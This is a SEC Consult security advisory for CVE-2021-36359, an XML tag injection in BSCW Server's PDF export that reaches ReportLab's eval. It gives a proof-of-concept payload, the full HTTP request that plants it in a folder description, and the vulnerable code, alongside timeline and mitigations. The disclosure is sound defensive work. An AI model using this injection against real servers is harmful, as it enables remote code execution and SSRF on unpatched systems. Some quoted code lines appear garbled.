BSCW Server XML Injection

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BSCW Server XML Injection
SEC Consult Vulnerability Lab Security Advisory < 20210827-1 >
               title: XML Tag injection
             product: BSCW Server
  vulnerable version: BSCW Server <=5.0.11, <=5.1.9, <=5.2.3, <=7.3.2, <=7.4.2
       fixed version: 5.0.12, 5.1.10, 5.2.4, 7.3.3, 7.4.3
          CVE number: CVE-2021-36359
              impact: high
               found: 2021-06-30
                  by: Armin Stock (Atos Germany)
                      SEC Consult Vulnerability Lab

                      An integrated part of SEC Consult, an Atos company
                      Europe | Asia | North America



Vendor description:
"A versatile system for any field of application

BSCW Classic is in use around the world. With more than 500 functions, it
offers the right solution for every task. Turn your ideas into reality! Our
proven system has been supporting information flow and knowledge management at
numerous companies for more than 20 years."


Business recommendation:
The vendor provides a patched version for the affected products, which should
be installed immediately.

Vulnerability overview/description:
1) XML Tag injection
The application allows a user with low privileges to export different objects
to a `PDF` file (`Send To -> File(PDF)`) via the `exportpdf` package. To
export the content of the objects the framework ReportLab is used. This library
supports different tags to export structured content:

# File: reportlab/platypus/
  The ParaFormatter will be able to format the following
        < /b > - bold
        < /i > - italics
        < u [color="red"] [width="pts"] [offset="pts"]> < /u > - underline
            width and offset can be empty meaning use existing canvas line width
            or with an f/F suffix regarded as a fraction of the font size
        < strike > < /strike > - strike through has the same parameters as underline
        < super [size="pts"] [rise="pts"]> < /super > - superscript
        < sup ="pts"] [rise="pts"]> < /sup > - superscript
        < sub ="pts"] [rise="pts"]> < /sub > - subscript
        <font name=fontfamily/fontname color=colorname size=float>
         <span name=fontfamily/fontname color=colorname backcolor=colorname size=float style=stylename>
        < bullet > </bullet> - bullet text (at head of para only)
        <onDraw name=callable label="a label"/>
        <index [name="callablecanvasattribute"] label="a label"/>
        <link>link text</link>
            attributes of links
                underline=bool turn on underline
        <a>anchor text</a>
            attributes of anchors
        <a name="anchorpoint"/>
        <unichar name="unicode character name"/>
        <unichar value="unicode code point"/>
        <img src="path" width="1in" height="1in" valign="bottom"/>
                width="w%" --> fontSize*w/100   idea from Roberto Alsina
                height="h%" --> linewidth*h/100 <[email protected]>
        <greek> - </greek>
        <nobr> ... </nobr> turn off word breaking and hyphenation

        The whole may be surrounded by <para> </para> tags

The application does not properly encode the user content before passing it to
`ReportLab`, which allows the user to inject own tags. These tags get evaluated
by the `ReportLab`.

Depending on the version of `ReportLab` it allows the user to do a `SSRF`
(server side request forgery) attack via the `img` tag

There are also known vulnerabilites in `ReportLab`:


This allows an attacker to execute `Python` code via the `unichar` tag or the
`color` attribute.

Proof of concept:
1) XML Tag injection
One possible injection point is the `description` of a folder. Using the
following payload allows the execution of the `Python` code `28+20`.

<strike>hello</strike><unichar code="28+20"/>

The result of this code is `48` (ASCII: `0`), which gets written to the
generated `PDF` file.

POST /sec/bscw.cgi/1917?op=_editfolder.EditFolder HTTP/1.1

Host: bscw.local:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 765
Origin: http://bscw.local:8080
DNT: 1
Connection: keep-alive
Referer: http://bscw.local:8080/sec/bscw.cgi/1917?op=editfolder.EditFolder&id=1917_2088&inside_dialog=1
Cookie: MicroblogInboxIndicatorState=%5B1629367994%2C0%5D; MicroblogSlidingPanelDisplayState=%22hidden%22; bscw_dummy_cookie=opensesame; bscw_auth="wsZjskopxMc1MSIVJq1bnn0fqKqLR9hB:108"; _sec_bscws="45aa7a088a17c12646aaf10d670395cb:264"
Upgrade-Insecure-Requests: 1

op=editfolder.EditFolder&inside_dialog=1&bscw_v_post=cCzT8tEnZ1kR%2FnH6gC15aLTjerCLR9hB&id=1917_2088&_selected=editfolder.NameTagsDescrRate&_editfolder.NameTagsDescrRate_renameo.Chname_name=hello&_editfolder.NameTagsDescrRate_renameo.Chname_=3&_editfolder.NameTagsDescrRate_chtags.EditTags_tags=&_editfolder.NameTagsDescrRate_chtags.EditTags_=3&_editfolder.NameTagsDescrRate_chdescr.Chdescr_descr=<strike>hello</strike><unichar code="28+20"/>&_editfolder.NameTagsDescrRate_chdescr.Chdescr_=3&_editfolder.NameTagsDescrRate_=3&_approval.approval_approval_choice=approval_inherited&_approval.approval_addactions=approval.approval.ApprovalTaskItem&_approval.approval_=3&_autovers_maxvers=inherit&_autovers_mvnr=&_autovers_=3&_=3&__ok_.x=+++OK+++

The vulnerable code in the `ReportLab` framework:
# File: reportlab\platypus\
def start_unichar(self, attr):
    if 'name' in attr:
       if 'code' in attr:
             self._syntax_error('<unichar/> invalid with both name and code attributes')
             v = unicodedata.lookup(attr['name'])
       except KeyError:
             self._syntax_error('<unichar/> invalid name attribute\n"%s"' % ascii(attr['name']))
             v = '\0'
    elif 'code' in attr:
             v = int(eval(attr['code']))
             v = chr(v) if isPy3 else unichr(v)
             self._syntax_error('<unichar/> invalid code attribute %s' % ascii(attr['code']))
             v = '\0'
Most likely there are more injection points to include own tags, but no further
actions were taken to find them.

Vulnerable / tested versions:
BSCW Classic 5.2.3 has been used to identify the vulnerability.

The vendor confirmed the following versions to be also affected by the
BSCW Server <=5.0.11, <=5.1.9, <=5.2.3, <=7.3.2, <=7.4.2

Vendor contact timeline:
2021-07-31: Sent report to vendor.
2021-08-01: Vendor confirmed the issue and is working on a patch.
2021-08-19: Vendor notified licensed customers about the issue and a patch.
2021-08-27: Coordinated release of security advisory.

The vendor provides a patched version for the affected and supported products,
which should be installed immediately.

Additional information can be viewed at the vendor's support page.

Ensure the the used `ReportLab` version is >= `3.5.55` to mitigiate an active
exploit of these known vulnerabilites.
It is also possbile to disable the `Export to PDF` function. This should be the
preferred way, until the vendor provides a patch.

$ bin/bsadmin package -d exportpdf

Advisory URL:


SEC Consult Vulnerability Lab

SEC Consult, an Atos company
Europe | Asia | North America

About SEC Consult Vulnerability Lab
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Atos company. It ensures the continued knowledge gain of SEC Consult in the
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EOF Armin Stock / @2021

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